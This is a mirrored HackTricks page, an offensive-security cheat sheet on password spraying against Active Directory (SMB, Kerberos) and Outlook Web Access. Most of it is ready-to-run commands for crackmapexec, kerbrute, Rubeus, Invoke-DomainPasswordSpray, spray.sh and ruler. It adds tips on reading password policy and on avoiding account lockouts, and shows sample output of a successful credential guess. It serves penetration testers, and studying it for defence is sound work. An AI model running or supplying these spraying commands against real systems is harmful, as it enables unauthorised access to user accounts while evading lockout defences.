mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
144 lines
6.8 KiB
Markdown
144 lines
6.8 KiB
Markdown
# Password Spraying
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
## **Password Spraying**
|
|
|
|
Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\
|
|
By **default** the **minimum** **password** **length** is **7**.
|
|
|
|
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
|
|
|
Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10).
|
|
|
|
### Get password policy
|
|
|
|
If you have some user credentials or a shell as a domain user you can get the password policy with:
|
|
|
|
* `crackmapexec <IP> -u 'user' -p 'password' --pass-pol`
|
|
* `enum4linx -u 'username' -p 'password' -P <IP>`
|
|
* `(Get-DomainPolicy)."SystemAccess" #From powerview`
|
|
|
|
### Exploitation
|
|
|
|
Using **crackmapexec:**
|
|
|
|
```bash
|
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
|
```
|
|
|
|
Using [kerbrute](https://github.com/TarlogicSecurity/kerbrute)(python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
|
|
|
|
```bash
|
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
|
```
|
|
|
|
**Kerbrute** also tells if a username is valid.
|
|
|
|
Using [kerbrute](https://github.com/ropnop/kerbrute)(Go)
|
|
|
|
```bash
|
|
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
|
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
|
|
```
|
|
|
|
With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
|
|
|
|
```bash
|
|
# with a list of users
|
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
|
|
|
# check passwords for all users in current domain
|
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
|
```
|
|
|
|
With the `scanner/smb/smb_login` module of Metasploit:
|
|
|
|
 (1).png>)
|
|
|
|
With [Invoke-DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)
|
|
|
|
```bash
|
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
|
```
|
|
|
|
or **spray** (read next section).
|
|
|
|
### Lockout check
|
|
|
|
The best way is not to try with more than 5/7 passwords per account.
|
|
|
|
So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use [_**spray**_](https://github.com/Greenwolf/Spray)_**:**_
|
|
|
|
```bash
|
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
|
```
|
|
|
|
## Outlook Web Access
|
|
|
|
There are multiples tools for password spraying outlook.
|
|
|
|
* With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
|
|
* with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
|
|
* With [Ruler](https://github.com/sensepost/ruler) (reliable!)
|
|
* With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
|
* With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
|
|
|
To use any of these tools, you need a user list and a password / a small list of passwords to spray.
|
|
|
|
```bash
|
|
$ ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
|
[x] Failed: larsson:Summer2020
|
|
[x] Failed: cube0x0:Summer2020
|
|
[x] Failed: a.admin:Summer2020
|
|
[x] Failed: c.cube:Summer2020
|
|
[+] Success: s.svensson:Summer2020
|
|
[x] Failed: s.sven:Summer2020
|
|
[x] Failed: j.jenny:Summer2020
|
|
[x] Failed: t.teresa:Summer2020
|
|
[x] Failed: t.trump:Summer2020
|
|
[x] Failed: a.adams:Summer2020
|
|
[x] Failed: l.larsson:Summer2020
|
|
[x] Failed: CUBE0X0:Summer2020
|
|
[x] Failed: A.ADMIN:Summer2020
|
|
[x] Failed: C.CUBE:Summer2020
|
|
[+] Success: S.SVENSSON:Summer2020
|
|
```
|
|
|
|
## References :
|
|
|
|
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
|
|
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
|
* www.blackhillsinfosec.com/?p=5296
|
|
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|